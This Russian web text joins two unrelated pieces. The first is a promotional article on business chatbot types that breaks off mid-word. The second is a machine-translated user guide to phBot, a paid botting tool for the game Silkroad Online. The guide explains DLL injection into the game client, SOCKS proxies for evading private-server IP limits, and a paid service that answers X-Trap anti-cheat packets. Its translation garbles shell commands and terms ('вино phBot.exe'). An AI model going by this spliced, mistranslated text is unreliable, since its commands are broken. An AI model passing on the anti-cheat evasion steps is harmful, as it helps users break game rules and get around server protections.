Чат-боты вокруг нас: почему они стали популярны?

Уже сейчас вокруг этой темы невиданный ажиотаж, но это только начало. Чат-боты могут быть интегрированы в большинство компаний, холдингов и корпораций. Возможно разработать чат-бот даже для структуры государственного управления. Разве не полезно будет сделать чат-бот для популярного ныне ресурса «Госуслуги»? Бот сможет направить на страницу нужных услуг и оказать техническую помощь при заполнении документов.

Использование чат-ботов не требует никаких дополнительных итераций типа закачивания приложений или дополнительных программ. Просто в мессенджере в любой момент можно открыть заданный контакт и получить информацию по запросу. Порядка 90% продаж уже перешло в плоскость смартфона. Современные технологии позволяют использовать мобильные устройства для тех же нужд, что и полноценный компьютер. А мобильные версии полноценных сайтов не у всех, даже крупных компаний, разработаны под использование на смартфонах или планшетах.

Сделать заказ гораздо легче при помощи чат-бота, а не сайта. Можно просто открыть контакт, вызвать виртуального собеседника и все! Не нужно ничего искать, сначала класть в корзину, потом заполнять дополнительные поля. Все легко и просто!

Разновидности ботов

Теперь вы уже достаточно много знаете о чат-ботах. Давайте посмотрим, где их реально применить и какие бывают разновидности мессенджер-помощников.

Чат-бот АГРЕГАТОР

Функционал — это своеобразная справочная служба, которая может предоставить информацию по запросу выбора определённой группы товаров или услуги.

Сфера применения – может быть интересно для организаций, которые предлагают услугу доставки еды или концертной кассы. Чат-бот может подсказать, какие есть интересные концерты или мероприятия на заданную дату, например.

Чат-бот ИНФОРМ БЮРО

Функционал – ответ на вопрос на определенную тематику. Работа по принципу интернет-поисковика.

Сфера применения – предоставление услуг социальной сферы. Это может быть интересно для медицинских учреждений, когда чат-бот сможет дать ответ на вопрос – как помочь ребенку, когда у него режутся зубы? Или для образовательной сферы, где чат-боту может поступить вопрос о дополнительных развивающих инструментах для детей от 3 до 5 лет.

!!! По сути, это может стать дополнительным рекламным инструментом, к которому будет приятно обращаться клиенту и не будет стоить ни копейки.

Чат-бот ИНТЕРНЕТ-МАГАЗИН

Функционал – продажа товаров, подбор гардероба, оформление заказа, расчет стоимости. Чат-бот сочетает в данном случае работу консультанта и менеджера по продажам. Это распространенный и удобный механизм, который прекрасно работает в дополнение к полноценному сайту. На мобильных устройствах не всегда хорошо грузятся базы данных с огромным количеством наименований. С помощью виртуального помощника можно выбрать любую вещь без долгих ожиданий подгрузки каталогов.

Сфера применения – сайты, которые осуществляют функцию продаж. Любая сфера деятельности, за исключением, пожалуй, таких специфических,  как ритуальные услуги.

Чат-бот ЦЕЛЕВОЙ

Функционал – актуально для общения с ограниченным кругом людей, задействованных в одном мероприятии или, объединенных одной сферой интересов. Например, такой чат-бот, может оказать содействие и помощь участникам определенного мероприятия. В функционал программы будет заложена максимально подробная информация касаемо места, организационных вопросов, логистики и т.д.

Сфера применения – конференции, круглые столы, симпозиумы. Это прекрасное решение для организаторов мероприятий, который поможет не только скоординировать прием гостей, но и осуществить повторную рассылку новых предложений и получить обратную связь.

!!! По сути, вместо службы поддержки или колл-центра можно использовать один чат-бот. Это дает экономический эффект, полностью подконтрольный и управляемый механизм, эффективность работы которого доказана на практике.

Чат-бот ПЕРСОНАЛЬНЫЙ

Функционал – чат-бот может быть интересным решением для фрилансеров, тренеров, коучей, – людей, которые делают из своего имени бренд. В одной программе может быть заложена вся информация о сфере деятельности, контакты, время работы и стоимость услуг. Этот чат-бот может работать как ваш персональный помощник, напоминая клиентам о ваших возможностях.

Сфера применения – индивидуальные предприниматели, которые занимаются продвижением собственных услуг.

Чат-бот ФУНКЦИОНАЛЬНЫЙ

Функционал – в этот раздел входят все чат-боты, ориентированные на бизнес. Любая сфера деятельности – продажи, услуги, реклама, обучение – все, что может заинтересовать конечного адресата. Можно интегрировать под группу Instagram. Например, популярный блогер может собирать большую аудиторию, подключив к своим инструментам чат-бота.

Сфера применения – любое бизнес-направление.

Как видите, чат-боты могут быть интересны в любой сфере деятельности. Главное, включите фантазию и получите навыки работы с ними. Вы не поверите, но продавать чат-ботов очень просто! Почему? Да потому, что это технологии будущего!

Кому подходит ниша создания ботов?

Разработка чат-ботов полезна и актуальна не только для потенциального заказчика и пользователя. Это мощнейший инструмент для получения дополнительного или основного дохода Нужно только соблюсти два главных условия – это обучение и заинтересованность.

Так кому может быть интересно обучение по конструированию чат-ботов?

На это вопрос можно ответить коротко – всем! Это перспективное направление по получению нескольких видов дохода, и освоить его может любой пользователь интернета и владелец смартфона.

Для того, чтобы сделать свой первый бот, нужно пройти обучение и иметь допуск для работы на специальной платформе конструкторов чат-ботов.

В основном, разработкой программы для мессенджера занимаются несколько основных групп людей:

  • Специалисты по удалённой работе, которые владеют несколькими способами заработка. Очень удобно тем, у кого уже есть наработанная клиентская база и не составит труда найти сбыт новому предложению. Если вы уже работаете в сфере разработки сайтов, мобильных приложений или интернет-рекламы, вам не составит труда продать дополнительную полезную услугу.
  • Это перспективный участок работы для тех, у кого нет опыта в сфере интернет-коммуникацией. Не проблема если вы не знаете, что такое бот, в принципе. Вы наверняка обратили внимани&

phBot

phBot # Около Эта страница представляет собой полное руководство для [phBot] (https://phbot.org/). Он будет постоянно обновляться по мере добавления новых функций. Я надеюсь, что он будет переведен на несколько языков. --- # Генеральный ### [Время закупки бота] (# покупка) * #### [Бесплатная пробная версия] (# пробная версия) * #### [Реселлеры] (# реселлеры) Где и как купить время для бота. ### [Сообщение об ошибках / вопросах] (# ошибок) Куда обращаться, чтобы сообщать об ошибках. ### [Общий доступ к аккаунту] (# общий доступ) Безопасно делитесь своей учетной записью phBot с другими людьми.### [Менеджер] (# менеджер) Менеджер ботов - это бесплатное приложение, которое позволяет управлять несколькими экземплярами phBot и контролировать их. ### [Часто задаваемые вопросы] (http://faq.phbot.org/) ### Социальные медиа * ##### [Twitter] (https://twitter.com/projecthax) * ##### [Facebook] (https://facebook.com/projecthax) * ##### [GitHub] (https://github.com/projecthax) --- # phBot ProjectHax Бот ### [Возможности] (# функций) ### [Загрузка / обновление] (# обновление) * #### [В чем разница между стабильным и тестовым?] (# Обновление) ### [Easy Installer] (# установщик) ### [Начальная настройка] (# настройка) * #### [Поддерживаемые операционные системы] (# os) * #### [Родной Linux] (# native-linux) * #### [Вино] (# вино) * ##### [Linux] (# wine-linux) * [Ubuntu] (# wine-ubuntu) * [Debian] (# wine-debian) * [Arch] (# wine-arch) * [Fedora] (# винная федора) * ##### [macOS] (# wine-mac) * #### [phBot.ini Настраиваемые параметры] (# inisettings) * #### [аргументы командной строки] (# командная строка) * #### [Вход в систему] (# вход в систему) * #### [Сбросить идентификатор оборудования] (# Resethwid) * #### [Выбрать регион] (# выбрать локаль) * #### [Запустить игру] (# запустить игру) * #### [Clientless Login] (# clientlesslogin) * #### [Go Client / Go Clientless] (# goclient) ### [Автоконфигурация] (# автонастройка) * #### [Профили] (# профилей) ### [Защита] (# защита) * #### [Potions] (# зелий) * #### [Возврат] (# возврат) * #### [Сокеты] (# сокетов) * #### [Pet Return] (# petreturn) * #### [Монстр] (# монстр) * #### [Настройки монстров] (# предпочтения монстров) * #### [Дух дьявола] (# devilsspirit) * #### [Уведомления] (# уведомлений) * #### [Свитки] (# свитков) * #### [Разное.] (# разное) ### [Город] (# город) ### [Тренировочная зона] (# тренировочная зона) * #### [Скрипт] (# скрипт) * ##### [Добавить тренировочную зону] (# trainingarea_add) * ##### [Создать сценарий прогулки] (# trainingarea_script) * #### [Условия] (# условий) * #### [Настройки] (# настройки) * #### [Команды сценария] (# команды сценария) ### [Атака] (# атака) * #### [Атака] (# атака) * #### [Баффы] (# баффов) * #### [Party Buffs] (# partybuffs) * #### [Воскресить] (# воскресить) * #### [Приманка] (# приманка) * #### [Журнал атак] (# Журнал атак) ### [Домашнее животное] (# домашнее животное) ### [Партия] (# вечеринка) * #### [Принять / Пригласить] (# party_accept_invite) * #### [Matching] (# partymatching) * #### [Такси] (# такси) ### [Союзная партия] (# unionparty) ### [Выбрать фильтр] (# pickfilter) * #### [Store Gold] (# storegold) ### [Quest] (# quest) * #### [сценарий квеста] (# сценарий квеста) * #### [Скрипт возврата квеста] (# questreturnscript) ### [Игроки] (# игроков) ### [Гильдия] (# гильдия) ### [Академия] (# академия) * #### [Параметры] (# академические параметры) * #### [Соответствие] (# соответствие академии) ### [Инвентарь] (# инвентарь) * #### [Обмен предметов Гори] (# goriitemexchange) * #### [Предмет] (# инвентарный предмет) ### [Срыв] (# стойло) ### [Алхимия] (# алхимия) * #### [Плюс] (# alchemyplus) * #### [Атрибут] (# алхимический атрибут) * #### [Алхимия] (# алхимия) * #### [Демонтировать] (# alchemydismantle) ### [Мастерство] (# мастерство) ### [Карта] (# карта) * #### [многоугольник записи] (# многоугольник записи) ### [Звук / Тревога] (# звук) ### [Привязки клавиш] (# привязок клавиш) ### [Условия] (# условия2) ### [Плагины] (# плагинов) --- # Покупка Время phBot сейчас ** 1 доллар.00 долларов США ** в неделю, которые можно приобрести на [phBot.org] (https://phbot.org/phbot/). * Способы оплаты * PayPal * Биткойн (и альт-монеты) * TECKCARD * Paymentwall * Stripe (кредитные карты) * Alipay Paymentwall решила полностью удалить CashU, потому что это не регулируемая компания. > Мы больше не работаем с CashU из-за того, что CashU не является регулируемой компанией. Они зарегистрированы на Британских Виргинских островах, поэтому деньги торговца потенциально подвергаются риску. Paymentwall также удалила PaySafeCard из-за того, что их Условия обслуживания запрещают покупку ботов.У Payza есть юридические проблемы в США, поэтому они больше не принимаются. * Вход в систему * После успешной оплаты вы получите случайное имя пользователя и пароль для входа в бот. За несколько дней до истечения срока действия подписки вы получите электронное письмо с подробным описанием ее срока действия. ### Бесплатная пробная версия 1. Скачайте [phBot] (# обновление). 2. Войдите в phBot между 12:00 AM -> 12:00 PM EST в понедельник вечером / во вторник утром (после проверки Silkroad) с именем пользователя «пробная версия» и любым паролем.У вас есть 12 часов на тестирование бота. ### Реселлеры Есть несколько торговых посредников, но я предпочитаю, чтобы вы покупали напрямую, когда это возможно. * Некоторые реселлеры предоставят вам идентификатор карты и пароль для погашения на любом электронном письме phBot, которое вы пожелаете. Этот метод предпочтительнее. * Другие потребуют, чтобы вы дали им свой адрес электронной почты, чтобы они могли выиграть время для вашей учетной записи. Этот метод также безопасен. #### Торговые посредники, использующие карточную систему * [gameyardim.com] (https://www.gameyardim.com/silkroad-online-phbot/) * [MaxiGame] (https: // www.maxigame.com/k/7-phbot-sure-uzatma.html) Пожалуйста, используйте один из этих сайтов, если вам нужно использовать реселлера. Карты позволяют вам вернуть свой аккаунт, если вас «взломали», и в целом они намного безопаснее. Карты можно обменять [здесь] (https://phbot.org/buy/). --- # Сообщение об ошибках / вопросах * Перед отправкой отчета об ошибке прочтите форум и убедитесь, что об ошибке еще не сообщил другой пользователь. Публикация дублирующихся цепочек с одной и той же проблемой в какой-то момент приведет к удалению вашей цепочки.* Будьте как можно более информативными! Включите, что вы делали и что наблюдали, когда возникла ошибка. Чем больше информации вы предоставите, тем больше вероятность, что проблема будет решена. * Если у вас есть вопрос, для этого есть специальный раздел форума. * [Все вопросы и сообщения об ошибках можно найти на форуме] (https://forum.projecthax.com/) --- # Совместное использование учетной записи Вы можете поделиться своим именем пользователя и паролем на phbot.org с кем угодно, поскольку они используются только для входа в систему бота. Единственный способ изменить что-либо в своей учетной записи бота - по электронной почте.--- # Управляющий делами Менеджер - это бесплатная утилита для управления несколькими экземплярами phBot. Он позволяет скрывать / отображать ботов, запускать боты и перезапускать их, если они отключатся. Он автоматизирует аргументы командной строки для вас и многое другое. * [Загрузить] (https://forum.projecthax.com/t/manager-release/45/) --- # Особенности Это список наиболее важных функций, а не всех функций. * #### Поддержка нескольких языков * Частные серверы iSRO, SilkroadR, vSRO 1.188 / 1.193 / 1.274 (и официальные задания vSRO 2/3), thSRO, Black Rogue, ECSRO, cSRO SilkroadR (официальный) и cSRO SilkroadR.* #### Родная версия Linux * Wine больше не требуется для работы бота. Для запуска Silkroad потребуется Wine, поскольку это приложение только для Windows. * #### поддержка macOS через Wine * Запуск клиента через бота также работает через Wine. * #### Используйте до 3 компьютеров одновременно * Вам разрешено запускать столько персонажей Silkroad, сколько хотите, на 3 компьютерах. Для использования более чем на 3 компьютерах вам потребуется несколько учетных записей ProjectHax. * #### Полнофункциональный безклиентский * Silkroad даже не нужно устанавливать на бота.* Новые персонажи могут быть созданы через бесклиентский вход. * Он также может вернуться к клиенту двумя разными способами: повторно подключиться и использовать обратную прокрутку / телепорт. * #### [Общий доступ к учетной записи] (# общий доступ) * Вашей учетной записью ProjectHax можно безопасно поделиться, не опасаясь ее потери. * #### [аргументы командной строки] (# командная строка) * Аргументы командной строки позволяют автоматизировать определенные задачи запуска в боте. Например, вы можете заставить его войти в игру и запустить бот, указав несколько параметров запуска.* #### Атака, усиление, усиление группы, воскрешение, смена оружия * Бот может автоматически обнаруживать ваше оружие и переключаться на правильное в зависимости от добавленных вами навыков. Это включает воскрешение игроков с другим оружием. * #### Приманка монстров * Приманка монстров позволяет вам выйти за пределы тренировочной зоны, чтобы привлечь монстров в зону атаки. Такое умение, как "Howling Shout", может быть использовано, чтобы привлечь к вам монстров. Это идеально подходит для бота всей группы. * #### Журнал атак * У бота есть журнал игроков, которые недавно напали на вас.Это может быть полезно, когда вы занимаетесь ботами в области «Job Cave», где есть Охотники и Воры. * #### Player Gear Spy * На вкладке «Игроки» находится полный список предметов игроков. Это позволяет вам увидеть их снаряжение, предметы аватара и наличие у них «Дьявольского духа». * #### Комплексный фильтр выбора * Фильтр выбора - это список предметов, которые вы можете подбирать, продавать, хранить или хранить в гильдии. * Это позволяет вам собирать предметы во время тренировки, продавать их в городе, хранить их в городе или хранить их в хранилище гильдии в городе.* В боте вы можете легко сортировать или искать предметы, относящиеся к вам. * #### Алхимия * В Silkroad алхимия может быть очень трудоемким, но важным процессом, поскольку дает вам преимущество перед другими игроками. * phBot имеет возможность добавлять, использовать алхимические камни (синие характеристики), использовать камни атрибутов (белые характеристики), а также разбирать предметы на элементы. * #### Инвентарь * Бот позволяет вам просматривать весь свой инвентарь (с иконками!), А также показывать статистику снаряжения. * #### Срыв * В городском цикле бот может создать киоск для продажи предметов или сдать их на консигнацию.Это также позволяет вам снова открыть стойло, если вы отключитесь. * #### Очки мастерства / статистики * Навыки и мастерство персонажей можно автоматически повышать во время бота. Очки статистики также могут быть добавлены без вмешательства. * #### Поиск пути (автоматический ход) / тренировочная зона * Поиск пути позволяет боту идти к вашей тренировочной зоне без использования сценария прогулки (кроме пещер). Скрипты все еще можно использовать, но они не требуются. * Пути создаются на городской петле и могут быть отредактированы после, если хотите.* Можно настроить условия для изменения области тренировки при повышении уровня. * #### Чат * phBot полностью поддерживает чат; включая отправку глобальных сообщений и отправку / получение заметок. * Игроки могут быть добавлены в черный список, если вы не хотите получать от них сообщения. В игровом чате золотые спамеры в большинстве случаев блокируются без каких-либо дополнительных действий. * #### Монстры * Типы монстров можно игнорировать, отдавать предпочтение или избегать. Это также можно сделать с помощью определенных имен монстров. * #### Автоматическая покупка * Городские предметы, такие как зелья HP, MP и Vigor, можно покупать автоматически, когда вы запускаете бота в городе.* Бот поддерживает покупку всех предметов у NPC --- # Загрузка / обновление После осмотра Silkroad может быть опубликован новый релиз. Обычно в этом нет необходимости, поскольку бот может обновлять базу данных при обновлении игры. В противном случае выпускаются обновления для исправления ошибок или добавления новых функций. Обновления обычно загружаются ботом при запуске. * [Стабильный] (https://forum.projecthax.com/t/latest-stable-release/25) * [Тестирование] (https://forum.projecthax.com/t/latest-testing-release/24) #### В чем разница между стабильным и тестовым? Тестовые (бета-версии) выпускаются всякий раз, когда добавляются новые функции.После тестирования новых функций они снова объединяются в стабильную версию один раз в неделю (после проверок iSRO / SilkroadR). --- # Простой установщик Установщик - это простое приложение, которое загрузит все необходимые файлы для запуска phBot. Все устанавливается в `% LOCALAPPDATA% \ Programs`. 1. Стабильный выпуск * Установите стабильный выпуск (нечастые выпуски) 2. Тестовый выпуск * Установите тестовую версию (больше функций и на чем в основном основано это руководство) 3. Менеджер * Включите диспетчер, который позволяет вам легко управлять несколькими ботами одновременно.4. Миникарта * Требуется, чтобы на вкладке карты отображалась миникарта (включая карты пещер). 5. Navmesh * Требуется для функции обнаружения столкновений и автоматического квеста. 6. Плагины * Плагины позволяют расширять бота с помощью специального кода. Если вы нашли понравившийся плагин, вам понадобится эта опция, чтобы использовать его. Скачать --- # Начальная настройка ### Поддерживаемые операционные системы * Windows XP SP3 (только x86) * От Windows Vista (x86 / x86-64) до Windows 10 (x86 / x86-64) * Arch, Ubuntu 20.04, Debian 10 и Fedora 33 * Любая ОС, поддерживающая Wine 1.9 или выше Если вы все еще используете Windows XP, вам действительно следует как можно скорее выполнить обновление. ### [Собственный Linux] (#) ** К сожалению, мне пришлось прекратить выпуск версии для Linux из-за множества проблем с библиотекой и других проблем. Он может вернуться однажды. На данный момент Wine тоже работает. ** В версии 15.3.7 для загрузки стал доступен собственный порт Linux. Это означает, что вы можете использовать phBot без использования Wine. Для запуска игры по-прежнему потребуется вино. Менеджер также был перенесен на Linux и работает точно так же, как и в Windows.Будет поддерживаться только несколько дистрибутивов, потому что требуется более свежая библиотека C ++, а также python 3.4. Также требуется 64-битный дистрибутив, потому что я не буду делать 32-битные двоичные файлы доступными. * Арка * Ubuntu 20.04 * Debian 10 * Fedora 33 [Последний выпуск нативной версии Linux] (#) [Скриншот] (https://i.imgur.com/j8dE7PF.png) ### Вино #### Linux > Я просто хотел бы добавить на минутку. То, что вы называете Linux, на самом деле, GNU / Linux, или, как я недавно стал называть это, GNU plus Linux.Linux - это не операционная система сама по себе, а, скорее, еще один бесплатный компонент полностью функционирующей системы GNU, полезный благодаря библиотекам ядра GNU, утилитам оболочки и жизненно важным системным компонентам, составляющим полноценную ОС, как это определено в POSIX. > > Многие пользователи компьютеров запускают модифицированную версию системы GNU каждый день, даже не осознавая этого. Из-за своеобразного поворота событий версия GNU, которая широко используется сегодня, часто называется Linux, и многие ее пользователи не знают, что это в основном система GNU, разработанная проектом GNU.> > Линукс действительно существует, и эти люди его используют, но это лишь часть системы, которую они используют. Linux - это ядро: программа в системе, которая распределяет ресурсы машины для других программ, которые вы запускаете. Ядро является важной частью операционной системы, но само по себе бесполезно; он может функционировать только в контексте полной операционной системы. Linux обычно используется в сочетании с операционной системой GNU: вся система в основном представляет собой GNU с добавленным Linux или GNU / Linux.Все так называемые дистрибутивы Linux на самом деле являются дистрибутивами GNU / Linux! ** Возможно ** можно установить распространяемый двоичный файл VC ++ 2013, но если нет, я включил необходимые библиотеки DLL ниже. #### Теперь вам нужно переопределить библиотеки MSVCR внутри Wine. 1. `winecfg` 1. Библиотеки -> Новое переопределение для библиотеки 1. Добавьте msvcr120.dll, msvcp120.dll и vcomp120.dll. 1. ОК Теперь вы не должны видеть никаких ошибок, связанных с `moneypunct` при открытии бота или менеджера. #### Ubuntu 1. Добавьте Wine PPA.[https://www.winehq.org/download/ubuntu] (https://www.winehq.org/download/ubuntu) 2. Установите Wine. [Щелкните здесь (запускает apt)] (apt: // winehq-devel) 3. Загрузите библиотеки времени выполнения VC ++ в папку `phBot.exe`. * [msvcr120.dll] (http://cdn.phbot.org/msvcr120.dll) * [msvcp120.dll] (http://cdn.phbot.org/msvcp120.dll) * [vcomp120.dll] (http://cdn.phbot.org/vcomp120.dll) 4. Запускаем бота. `вино phBot.exe` #### Debian 1. Установите Wine. `apt-get install wine-development` 2.Загрузите библиотеки времени выполнения VC ++ в папку `phBot.exe`. * [msvcr120.dll] (http://cdn.phbot.org/msvcr120.dll) * [msvcp120.dll] (http://cdn.phbot.org/msvcp120.dll) * [vcomp120.dll] (http://cdn.phbot.org/vcomp120.dll) 3. Запускаем бота. `вино phBot.exe` #### Арка 1. Установите Wine. `sudo pacman -S вино` 2. Загрузите библиотеки времени выполнения VC ++ в папку `phBot.exe`. * [msvcr120.dll] (http://cdn.phbot.org/msvcr120.dll) * [msvcp120.dll] (http://cdn.phbot.org/msvcp120.dll) * [vcomp120.dll] (http://cdn.phbot.org/vcomp120.dll) 3. Запускаем бота. `вино phBot.exe` #### Fedora 1. Установите Wine. `sudo yum install wine` 2. Загрузите библиотеки времени выполнения VC ++ в папку `phBot.exe`. * [msvcr120.dll] (http://cdn.phbot.org/msvcr120.dll) * [msvcp120.dll] (http://cdn.phbot.org/msvcp120.dll) * [vcomp120.dll] (http://cdn.phbot.org/vcomp120.dll) 3. Запускаем бота. `вино phBot.exe` #### macOS 1. Загрузите Wine Bottler * Стабильная версия Wine Bottler должна работать нормально, но если не использовать разрабатываемую версию.* [Wine Bottler] (http://winebottler.kronenberg.org/) 2. Загрузите библиотеки времени выполнения VC ++ в папку `phBot.exe`. * [msvcr120.dll] (http://cdn.phbot.org/msvcr120.dll) * [msvcp120.dll] (http://cdn.phbot.org/msvcp120.dll) * [vcomp120.dll] (http://cdn.phbot.org/vcomp120.dll) 3. Двойной щелчок по `phBot.exe` должен запустить бота. ### Настраиваемые параметры phBot.ini #### Имя пользователя Имя пользователя для входа в ProjectHax. #### Пароль Пароль для входа в ProjectHax. #### UpdateSkip Пропускает конкретную версию бота.Как только новая версия будет выпущена, вам будет предложено обновить ее снова. #### BindIP Привязывает исходящие соединения Joymax к определенному IP-адресу. #### белый Отключает темную тему при установке на «1». #### iSRO_Gateway Устанавливает сервер шлюза iSRO для использования. Его также можно установить на «Random», чтобы использовать случайный сервер. #### SilkroadR_Gateway Устанавливает сервер шлюза SilkroadR для использования. Его также можно установить на «Random», чтобы использовать случайный сервер. #### X-ловушка Устанавливает сервер X-Trap для использования. Может быть установлен на `server` для использования ProjectHax или IP-адреса, если вы хотите запустить свой собственный сервер на вашем собственном компьютере или на виртуальной машине.#### SilkroadServer Устанавливает имя последнего бесклиентского входа на сервер Silkroad. #### Язык Устанавливает язык бота. По умолчанию - en. #### SwitchGatewayAttempts Устанавливает значение для переключения сервера шлюза после определенного количества неудачных попыток входа в систему. #### iSROPath Путь игры iSRO. #### SilkroadRPath Игровой путь SilkroadR. #### cSRORPath Официальный игровой путь cSRO SilkroadR. #### SocksIP SOCKS IP или имя хоста. #### SocksPort SOCKS порт. #### SocksUser Имя пользователя SOCKS. Используется только с SOCKS v5.#### SocksPass Пароль SOCKS. Используется только с SOCKS v5. #### SocksVersion Версия SOCKS. `4` или` 5`. #### ReduceSilkroad Уменьшите использование памяти Silkroad, периодически очищая рабочий набор процессов. #### Заглавие Изменяет заголовок окна phBot. По умолчанию используется phBot v% 0 -% 1 -% 2. #### Код доступа Устанавливает пароль по умолчанию для iSRO / SilkroadR для упрощения входа в систему. #### DisableTray Может быть установлено в «1», чтобы отключить значок в трее. Делает то же самое, что и аргумент командной строки --disabletray.### Аргументы командной строки Вот список аргументов, которые поддерживает phBot. [Менеджер] (# менеджер) может автоматизировать все это бесплатно, если вы не хотите использовать командные файлы / ярлыки. `` --username arg имя пользователя Silkroad --password arg пароль Silkroad --server arg Сервер Silkroad - персонаж arg персонаж Silkroad --passcode arg вторичный код доступа Silkroad --startbot Запускать бота при входе в систему --relogdc Обновить журнал, если вы отключились --returntotown Использовать прокрутку возврата после входа в систему --locale arg Локаль Silkroad (isro, silkroadr, csro-silkroadr или частный сервер) --minimize Свернуть бота --disablemap Отключить карту Шелкового пути --bindip arg Привязать адрес --loginserver arg Сервер входа в iSRO / SilkroadR (требуется полный IP) --proxyip arg SOCKS прокси IP --proxyport arg Порт прокси SOCKS --proxyuser arg имя пользователя SOCKS --proxypass arg Пароль SOCKS --disabletray Отключает сворачивание в системный трей --logsize arg Устанавливает максимальный размер файла журнала для удаления (в байты) --skipupdates Пропустить все автоматические обновления --update Обновить бота без взаимодействия с пользователем --wine Укажите, используется ли Wine на * nix и автоматическое определение терпит неудачу --client Запускает клиента --clientless Перейти без клиента после входа в игру (полезно для определенные серверы vSRO) --hide Скрыть бота при запуске --hideclient Скрыть клиента после его загрузки --privateserver arg Имя частного сервера --white Отключает темную тему --starttrace Запускает отслеживание игрока при входе в систему --tracename arg Отслеживать имя игрока --fontsize arg Размер шрифта --force-inject Force с использованием phBot.dll --minidump Включает файлы сбоя минидампа --silkroadr-channel arg Канал входа в iSRO / SilkroadR (joymax или jcplanet) --profile arg Имя профиля конфигурации `` --- ### Вход в систему При первом запуске вам будет предложено войти в систему с помощью вашего имени пользователя и пароля ProjectHax. Введите данные для входа и нажмите «Войти». Теперь вы войдете в бот, если у вас есть время на своей учетной записи. Эта информация сохраняется в `phBot.ini`, поэтому вам не нужно будет вводить ее снова. ### Сбросить идентификатор оборудования У каждой учетной записи ProjectHax есть три идентификатора оборудования.Они автоматически сбрасываются в 00:00 UTC каждый день. Если вы измените свое оборудование, вы можете получить сообщение в боте о том, что были использованы три идентификатора оборудования. Чтобы смягчить эту проблему, вы можете сбросить их один раз в день вручную. [Щелкните здесь, чтобы сбросить идентификаторы оборудования] (https://phbot.org/reset/hwid/) ### Выберите языковой стандарт Сразу после входа в систему появится диалоговое окно с просьбой выбрать локаль. Можно выбрать три варианта. 1. Международный шелковый путь * + Объединенные серверы SilkroadR 3. cSRO SilkroadR (официальный) 4.Частный сервер * Поддерживаются vSRO 1.188 / 1.193 / 1.274, thSRO, Black Rogue, ECSRO и cSRO SilkroadR. * vSRO поддерживаются 2 сервера заданий / 3 сервера заданий. * Поддерживаются частные серверы iSRO. При выборе «Частный сервер» появится другое диалоговое окно с запросом дополнительной информации. Вам нужно сделать это, только если вы планируете играть на частном сервере Silkroad. iSRO и SilkroadR полностью отделены от этого. 1. Список добавленных вами частных серверов 2. Имя * Это поле позволяет вам дать частному серверу имя, которое будет отображаться в боте.Больше ни на что не влияет. 3. Отдел * Игровое подразделение Silkroad. Некоторые языковые стандарты имеют несколько подразделений, но используют одну и ту же программу запуска Silkroad.exe. 4. Хосты * Список шлюзовых серверов. Он будет автоматически заполнен после выбора игрового пути. 5. Версия * Версия игры 6. Серверы * Список серверов Silkroad, которые появляются после запуска игры. Вам нужно будет вручную добавить их в список. 7. Captcha * Некоторые частные серверы имеют статический символ капчи (или без символа).Это позволяет вам указать символ капчи для автоматической отправки. 8. Путь * Путь игры Silkroad. Вместо того, чтобы выбирать путь при нажатии кнопки «Запустить клиент», вы должны выбрать его здесь, чтобы данные сервера можно было сохранить для дальнейшего использования. 9. Тип * Это тип сервера vSRO. vSRO разделен на несколько вариантов, таких как Black Rogue, thSRO, v1.193 и v1.274. К сожалению, нет хорошего способа автоматически определять тип сервера, поэтому вы должны сделать это самостоятельно. Если вы не выберете правильный тип, при входе в игру будут возникать ошибки анализа пакетов.* Вам не нужно выбирать здесь какие-либо параметры для частных серверов cSRO SilkroadR / задания vSRO 2 / частных серверов iSRO. ### Запустить игру Запуск клиента запустит игру Silkroad и позволит вам войти в систему как обычно. 1. Начните с нажатия «Запустить клиент». 2. Вам будет предложено указать путь к игре. Это значит, что он знает, как запустить Silkroad. Вам нужно будет сделать это только один раз за игру (iSRO / SilkroadR / частный сервер). 3. Перейдите в папку Silkroad и нажмите «Выбрать папку».4. Игра запустится, и вы сможете войти в систему как обычно. ### Бесклиентный вход Во-первых, я должен начать с объяснения того, что на самом деле такое «безклиентный». Без клиента означает, что игру Silkroad не нужно запускать, пока вы используете бота. Он использует меньше ресурсов, чем игра, поэтому вы можете запускать больше персонажей. phBot дает вам возможность войти в систему как с игрой, так и без нее. Для входа в систему клиента см. [Запуск игры] (# launchgame). Вам необходимо установить игру, чтобы бот мог создать базу данных, содержащую данные из игр `Media.pk2` и файлы `Data.pk2`. После этого вы можете скопировать файлы `iSRO.db3` и` SilkroadR.db3` на VPS и запустить бота. Если игра обновится, вам нужно будет скопировать вновь созданные базы данных на VPS. 1. Имя пользователя * Это имя пользователя, которое вы используете для входа в игру. 2. Пароль * Это пароль, который вы используете для входа в игру. 3. Сервер * Имя сервера Silkroad. 4. Сервер шлюза * Сервер Silkroad, на котором вы играете, может иметь несколько IP-адресов. Это поле можно использовать для выбора сервера шлюза с меньшим объемом трафика или, если один из них выходит из строя, для выбора другого рабочего.5. Сменить шлюз после X попыток. * Измените сервер шлюза после X неудачных попыток подключения. 6. SOCKS IP / порт * SOCKS - прокси-протокол. Если у вас есть прокси-сервер SOCKS, вы можете использовать его для входа в игру. Это можно использовать для обхода ограничений IP на частных серверах. * Поддерживается только SOCKS v5. 7. Имя пользователя SOCKS 8. Пароль SOCKS. 9. Уменьшите объем памяти * Эта функция позволяет снизить использование памяти Silkroad. НЕ включайте его, если вы не знаете, что делаете! Это может вызвать проблемы с производительностью и, возможно, привести к сбою игры.10. Язык * Позволяет изменить язык бота. Некоторые переводы могут быть недоступны для вашего языка, поскольку бот постоянно развивается. 11. X-Trap * Эти параметры доступны только для iSRO и официальных серверов vSRO. * Для iSRO существует случайно сгенерированный код операции, который отправляется при каждом телепорте, чтобы предотвратить отсутствие клиента. Для этого необходимо запустить клиент, иначе вы не сможете войти в игру. * Сервер - для этого варианта требуется подписка CrapTrap. Это 1 доллар в неделю, как и у бота, без ограничений.* Локальный - запускает локальный клиент на вашем ПК. * Для официального vSRO присутствует X-Trap, поэтому вам нужно будет запустить локальный клиент для обработки пакетов X-Trap. Клиент автоматически запускается, когда получает пакет X-Trap. 12. Удаленный * Позволяет указать удаленный IP-адрес для CrapTrap. Вы можете указать несколько хостов / IP-адресов в этом поле через запятую. Можно использовать вариант сервера и удаленный сервер, например: "craptrap.phbot.org, X.X.X.X" 13. Вернитесь в город при входе в систему. * Используйте прокрутку возврата после загрузки в игру 14.Запускать бота при входе в систему * Запускать бот при входе в систему. Это следует использовать с функцией «Повторно войти в журнал при отключении». 15. Повторный вход при отключении * Если вы отключились от игрового сервера, подключитесь заново. 16. Войти * После ввода данных для входа в Silkroad нажмите эту кнопку, чтобы начать вход в Silkroad без использования клиента. 17. Выйти * После того, как вы войдете в игру без клиента, эта кнопка станет активной. Это позволяет вам выйти из игры. 18. JCP * Позволяет войти в iSRO с учетной записью 